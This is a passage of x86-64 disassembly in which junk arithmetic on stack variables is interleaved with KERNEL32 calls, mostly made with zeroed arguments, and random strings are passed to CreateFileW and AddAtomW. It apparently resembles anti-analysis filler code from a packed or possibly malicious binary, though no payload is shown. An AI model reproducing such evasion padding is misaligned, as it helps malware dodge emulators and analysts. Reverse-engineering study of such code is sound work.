movsx ecx, word [rsp + 0x19d0]
and eax, ecx
mov word [rsp + 0x1f50], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.JN4B1T
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcf20], rax
movzx eax, word [rsp + 0x1ef8]
mov word [rsp + 0x21e0], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc7b0]
sar rax, cl
mov qword [0x1401c70d8], rax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, 0xba0
xor r8d, r8d
lea rdx, [rsp + 0xc038]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x649c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0x9f10]
mov rcx, qword [rsp + 0xc6b8]
mov qword [rsp + 0xcf28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf28]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb680], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xcab8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb0d8], rax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc928]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x98f0], rax
movzx eax, word [0x1401c8a24]
movzx ecx, word [rsp + 0x21c4]
add eax, ecx
mov word [rsp + 0x858], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov eax, dword [rsp + 0x57b4]
mov dword [rsp + 0x6660], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a4]
add eax, ecx
mov byte [rsp + 0x18a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rcx, str.FtP1ub_sZ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21e4], ax
mov eax, dword [rsp + 0x6610]
mov dword [rsp + 0x6664], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6538], eax
xor r9d, r9d
lea r8, [rsp + 0xc190]
mov rdx, qword [rsp + 0xc098]
mov rcx, qword [rsp + 0xca70]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64d8], eax
mov rax, qword [rsp + 0xc350]
mov rcx, qword [rsp + 0xc4a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc5a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc720]
movzx eax, byte [rax]
mov byte [0x1401c8a27], al
lea rcx, [rsp + 0x200c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xc7d8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 0x1e13
xor r8d, r8d
lea rdx, [rsp + 0xc920]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x646c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x652c], eax
mov rax, qword [0x1401c8ae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2068]
shl eax, cl
mov rcx, qword [rsp + 0xce88]
mov word [rcx], ax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x198c], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [0x1401c8a24]
or eax, ecx
mov word [rsp + 0x924], ax
mov rax, qword [rsp + 0xb3b0]
mov qword [rsp + 0xcf30], rax
lea rcx, str.RhaI5SBA_gH7RCB2Kus
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21e8], ax
mov rax, qword [rsp + 0xcce0]
mov rcx, qword [rsp + 0x9710]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb460], rax
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x6554]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcd40]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x39e]
cdq
mov ecx, 0x63
idiv ecx
mov byte [rsp + 0x25e], al
mov rax, qword [rsp + 0xcd08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1cfc]
and eax, ecx
mov rcx, qword [rsp + 0xce88]
mov word [rcx], ax
mov rax, qword [rsp + 0xce98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c8ac8], ax
mov rax, qword [rsp + 0xc5a0]
mov qword [rsp + 0xcf38], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [rsp + 0xc998]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6420], eax
movzx eax, word [rsp + 0x924]
movzx ecx, word [0x1401c7040]
sar eax, cl
mov word [rsp + 0x20fc], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xcf40], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
movzx ecx, word [rsp + 0x1f18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f64], ax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x394]
shl eax, cl
mov byte [rsp + 0x381], al
lea rax, [rsp + 0x5790]
mov qword [rsp + 0xcf48], rax
mov eax, dword [rsp + 0x6464]
mov ecx, dword [rsp + 0x5a54]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcd40]
mov dword [rcx], eax
lea rax, [rsp + 0xc808]
mov qword [rsp + 0xcf50], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6668], eax
movzx ecx, word [rsp + 0x1f6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f88], ax
lea rdx, [rsp + 0x263a8]
mov rcx, qword [rsp + 0xc7a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6460], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movsx eax, byte [rsp + 0x25e]
mov rcx, qword [rsp + 0xcac8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2c5], al
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1fa4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2084], ax
movsx eax, word [rsp + 0x20dc]
movsx ecx, word [rsp + 0x206c]
sub eax, ecx
mov word [rsp + 0x1b0c], ax
lea rax, [rsp + 0x2170]
mov qword [0x1401c8bd0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xc908]
mov qword [rsp + 0xcf58], rax
mov rax, qword [0x1401c8a90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9af8], rax
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1130], ax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xccf0]
mov word [rcx], ax
mov rax, qword [rsp + 0xcb00]
mov rax, qword [rax]
mov qword [rsp + 0xcf60], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rcx, qword [rsp + 0xc6f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4f]
sar eax, cl
mov rcx, qword [rsp + 0xcba0]
mov byte [rcx], al
mov r9d, 2
lea r8, [rsp + 0xc740]
mov rdx, qword [rsp + 0xc600]
mov rcx, qword [rsp + 0xc5e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x666c], eax
mov rax, qword [rsp + 0xc6d0]
mov rcx, qword [rsp + 0xcd60]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6514], eax
lea rax, [0x1401c8ba0]
mov qword [rsp + 0xcf68], rax
mov rax, qword [rsp + 0xcf00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2118]
shl eax, cl
mov word [0x1401c8b88], ax
movzx eax, word [rsp + 0x20a0]
mov rcx, qword [rsp + 0xce98]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1fac], ax
movzx eax, byte [str.5qKr]
mov byte [rsp + 0x3aa], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0xcb48]
mov rcx, qword [rsp + 0xcaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x57b4], eax
mov rax, qword [rsp + 0xcc88]
mov rax, qword [rax]
cqo
mov rcx, qword [0x1401c8a60]
idiv qword [rcx]
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xc720]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x28c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5d8]
mov qword [rsp + 0xcf70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x60f4], eax
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov qword [rsp + 0xcf78], rax
movsx eax, word [rsp + 0x2194]
movsx ecx, word [rsp + 0x2128]
or eax, ecx
mov word [rsp + 0x2048], ax
movzx ecx, word [rsp + 0x1f5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21ec], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx eax, word [rsp + 0x1b74]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c70e0], ax
lea rcx, str.il7d_lVpG_dGu217G
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x213c], ax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcdf8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc738]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f94]
add eax, ecx
mov word [rsp + 0x1e24], ax
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc888]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2164], ax
lea rax, [rsp + 0xcb40]
mov qword [rsp + 0xcf80], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc5b0], rax
mov rax, qword [rsp + 0x9de0]
mov rcx, qword [rsp + 0xc1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb460], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcf88], rax
lea rdx, [rsp + 0x26140]
mov rcx, qword [rsp + 0xc598]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6468], eax
mov eax, dword [rsp + 0x6494]
mov dword [rsp + 0x6670], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x37c]
mov rcx, qword [rsp + 0xce60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x376], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, word [rsp + 0x1388]
mov rcx, qword [rsp + 0xc6d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x21b8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6488], eax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [0x1401c8aa0]
mov qword [rsp + 0xcf90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcf90]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c70c8], rax
mov rax, qword [rsp + 0xc628]
mov eax, dword [rax]
mov dword [rsp + 0x6674], eax
movzx eax, byte [rsp + 0x38d]
mov rcx, qword [rsp + 0xc438]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x399], al
mov rax, qword [0x1401c8b18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce88]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19f8], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x20a8]
movzx ecx, word [rsp + 0x1f0c]
or eax, ecx
mov word [rsp + 0x20c4], ax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc668]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x13a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1fe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2140], ax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x5a3c]
mov dword [rsp + 0x6678], eax
movzx ecx, word [rsp + 0x1fcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21f0], ax
mov rax, qword [rsp + 0xc0d8]
movzx ecx, al
mov rax, qword [rsp + 0xc840]
shl rax, cl
mov qword [rsp + 0xc3a8], rax
movsx eax, word [rsp + 0x2184]
mov rcx, qword [rsp + 0xca78]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xbdc], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rcx, qword [rsp + 0xc458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x65d8], eax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
mov word [0x1401c8bd8], ax
mov rax, qword [rsp + 0xc738]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcae0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcc88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcc88]
mov rcx, qword [rsp + 0xc560]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f10], rax
mov rax, qword [rsp + 0xc878]
mov rax, qword [rax]
mov qword [rsp + 0xcf98], rax
movsx eax, word [rsp + 0x2168]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20ec], ax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov qword [rsp + 0xcfa0], rax
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0xcb10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcd18]
mov byte [rcx], al
mov rax, qword [rsp + 0xc6d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5e5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56b8], eax
mov eax, dword [rsp + 0x5b70]
mov ecx, dword [rsp + 0x650c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ff0], eax
movzx eax, byte [rsp + 0x3aa]
mov rcx, qword [rsp + 0xc4d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a4], al
movsx eax, word [rsp + 0x1cfc]
mov rcx, qword [rsp + 0xc7f8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c70c0], ax
movzx eax, word [rsp + 0x2044]
mov word [rsp + 0x21f4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64c8], eax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2114], ax
mov rax, qword [0x1401c8a90]
mov rcx, qword [rsp + 0xc928]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xbae0], rax
lea rcx, [rsp + 0x1fc18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc9c8]
movzx ecx, al
mov rax, qword [rsp + 0xc1a0]
shl rax, cl
mov qword [rsp + 0xc808], rax
movsx eax, byte [rsp + 0x2b6]
movsx ecx, byte [rsp + 0x6b]
sar eax, cl
mov byte [rsp + 0x37d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rax, [rsp + 0x6678]
mov qword [rsp + 0xcfa8], rax
mov r9d, 1
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x667c], eax
movsx eax, word [rsp + 0x2024]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc408]
mov word [rcx], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x21f4]
mov qword [rsp + 0xcfb0], rax
mov rax, qword [rsp + 0xba40]
mov qword [0x1401c8be0], rax
movzx ecx, word [rsp + 0x2004]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff4], ax
movzx eax, word [rsp + 0x2064]
movzx ecx, word [rsp + 0x11e4]
sub eax, ecx
mov word [rsp + 0x13a4], ax
mov rax, qword [rsp + 0x96c0]
mov rcx, qword [rsp + 0xc9c0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xca00]
mov qword [rcx], rax
mov rax, qword [0x1401c7018]
mov qword [rsp + 0xcfb8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.OOsGF1gb5nl0NGoDDlSkIcFQ1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcfc0], rax
mov rax, qword [rsp + 0xcb70]
mov rcx, qword [rsp + 0xc210]
mov qword [rsp + 0xcfc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfc8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa6b8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov byte [rsp + 0x3ab], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6528], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov eax, dword [rsp + 0x65b0]
mov rcx, qword [rsp + 0xc628]
mov qword [rsp + 0xcfd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfd0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x65a4], eax
movzx eax, byte [rsp + 0x1c6]
imul eax, eax, 0x7a
mov byte [rsp + 0x3a0], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc520]
mov rcx, qword [0x1401c8a40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5984], eax
mov edx, 0x23e9
mov rcx, qword [rsp + 0xc3b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x634c], eax
mov rax, qword [rsp + 0xc7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401c70ac], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12c8], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetWriteWatch]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xcfd8], rax
movzx ecx, word [rsp + 0x2020]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fcc], ax
mov rax, qword [0x1401c8bd0]
movzx eax, word [rax]
mov word [rsp + 0x21f8], ax
movzx eax, word [rsp + 0x1fa0]
movzx ecx, word [rsp + 0x2170]
xor eax, ecx
mov word [rsp + 0x1e24], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, str.Lz_JQlX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x21ec], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcfe0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6430], eax
mov rax, qword [rsp + 0xc668]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37f]
or eax, ecx
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0xc590]
mov rax, qword [rax]
mov rcx, qword [0x1401c8ac0]
mov qword [rsp + 0xcfe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfe8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xca08], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc678], rax
mov edx, 0x7c6
mov rcx, qword [rsp + 0xc890]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6500], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xcff0], rax
mov eax, dword [rsp + 0x64d4]
mov rcx, qword [rsp + 0xc400]
mov qword [rsp + 0xcff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcff8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x65e0], eax
mov rax, qword [0x1401c8ae0]
movzx eax, word [rax]
mov word [rsp + 0x21fc], ax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc980]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1f20], ax
mov rax, qword [rsp + 0xc6b8]
mov rcx, qword [rsp + 0xcc38]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [0x1401c8ae8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rcx, qword [rsp + 0xc8a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x65f0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov rcx, qword [0x1401c70d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2f0], rax
mov rax, qword [rsp + 0xcda0]
mov rcx, qword [rsp + 0x9af8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc6e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xc990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca00]
mov qword [rsp + 0xd000], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd000]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xccb0], rax
mov rax, qword [rsp + 0xce98]
movzx eax, word [rax]
mov word [rsp + 0x2200], ax
mov edx, 0xb14
mov rcx, qword [rsp + 0xcfe0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6680], eax
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64fc], eax
mov rax, qword [rsp + 0xce00]
mov rcx, qword [rsp + 0xcf48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6584], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
lea rax, [rsp + 0x11e]
mov qword [rsp + 0xd008], rax
mov rax, qword [rsp + 0xcfa8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x59f4]
shr eax, cl
mov dword [rsp + 0x6604], eax
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xc950]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc8e0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rax, [rsp + 0x37a]
mov qword [0x1401c8be8], rax
mov rax, qword [rsp + 0xc888]
movzx eax, word [rax]
mov word [rsp + 0x2204], ax
movsx eax, word [rsp + 0x2024]
mov rcx, qword [rsp + 0xcf00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2030], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd010], rax
lea rax, [rsp + 0x2064]
mov qword [rsp + 0xd018], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x96c0]
mov rcx, qword [rsp + 0xcd20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rax, qword [rsp + 0xc590]
mov rcx, qword [rsp + 0xcb00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcb20], rax
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6d0]
mov qword [rsp + 0xd020], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd020]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x579c], eax
movsx eax, byte [rsp + 0x13a]
mov rcx, qword [rsp + 0xc610]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x38b], al
movzx eax, word [rsp + 0x1fb4]
mov word [rsp + 0x2208], ax
movzx eax, word [rsp + 0x21c4]
movzx ecx, word [rsp + 0x20fc]
or eax, ecx
mov word [0x1401c70e4], ax
mov rax, qword [rsp + 0xcda0]
mov rax, qword [rax]
